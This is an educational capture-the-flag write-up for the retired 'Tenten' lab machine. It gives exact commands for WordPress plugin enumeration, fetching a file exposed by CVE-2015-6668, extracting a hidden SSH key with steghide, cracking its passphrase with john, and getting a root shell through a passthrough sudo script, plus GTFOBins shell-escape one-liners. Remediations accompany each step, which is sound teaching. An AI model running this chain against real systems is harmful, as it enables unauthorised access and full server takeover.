Tenten
Summary
I fingerprinted a WordPress site running an outdated job-application plugin, retrieved a candidate's uploaded image file from a predictable, publicly accessible path (CVE-2015-6668), and extracted a hidden SSH private key from that image using freely available steganography tools. The key's weak passphrase was cracked offline in seconds.
I then logged into the server as a low-privilege user and exploited a sudo rule that blindly executed any command passed to it as root, completing full system takeover.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Confirm open ports and collect service banners.
$ nmap -Pn -n -p22,80 --open -T4 -sV $TARGETConfirm WordPress and WP Job Manager plugin presence in page HTML.
$ curl -s -L http://tenten.htb/ | grep -Eoi 'wp-content|wordpress|job-manager'Exact commands 2
Enumerate all WordPress posts by ID; look for job listings with upload attachments.
$ for i in $(seq 1 40); do echo -n "p=$i: "; curl -s -L "http://tenten.htb/?p=$i" | grep -oP '(?<=<title>).*?(?=</title>)'; doneAlternative: WPScan flags the vulnerable WP Job Manager version directly.
$ wpscan --url http://tenten.htb/ --enumerate p,t,u --plugins-detection aggressiveFixUpdate WP Job Manager and block direct HTTP access to the uploads directoryCritical
Exact commands 2
Probe the predictable upload path; HTTP 200 confirms the file is publicly accessible without credentials.
$ curl -s -i http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpgDownload the candidate-uploaded image for offline analysis.
$ curl -s -L http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg -o HackerAccessGranted.jpgExact commands 2
Extract embedded content using a blank steghide passphrase; outputs id_rsa to the current directory.
$ steghide extract -sf HackerAccessGranted.jpg -p ""Set required permissions and confirm the file is a PEM-encoded RSA private key.
$ chmod 600 id_rsa && file id_rsa && head -3 id_rsaFixRemove all credentials and keys from web-accessible files and treat current key as compromisedCritical
Exact commands 2
Convert the SSH private key to a John the Ripper crackable hash format.
$ ssh2john id_rsa > id_rsa.hashCrack the passphrase; '$PASSWORD2' recovered in seconds due to cost-factor-1 KDF.
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hashFixEnforce strong SSH key passphrases and a high key-derivation cost factorHigh
Exact commands 2
Authenticate as takis using the stolen key; enter '$PASSWORD2' when prompted for the key passphrase.
$ ssh -i id_rsa takis@$TARGETRead the user-level flag: <user.txt>
$ cat /home/takis/user.txtExact commands 4
List allowed sudo commands as takis; confirms '(ALL) NOPASSWD: /bin/fuckin'.
$ sudo -lInspect the script; should show: #!/bin/bash and $1 $2 $3 $4 — confirms the argument-passthrough vulnerability.
$ cat /bin/fuckinPass /bin/bash as $1; the script executes it as root, spawning a root shell.
$ sudo /bin/fuckin /bin/bashRead the root-level flag: <root.txt>
$ cat /root/root.txtFixRemove the unsafe sudo rule and audit all sudoers entries for argument-passthrough risksCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.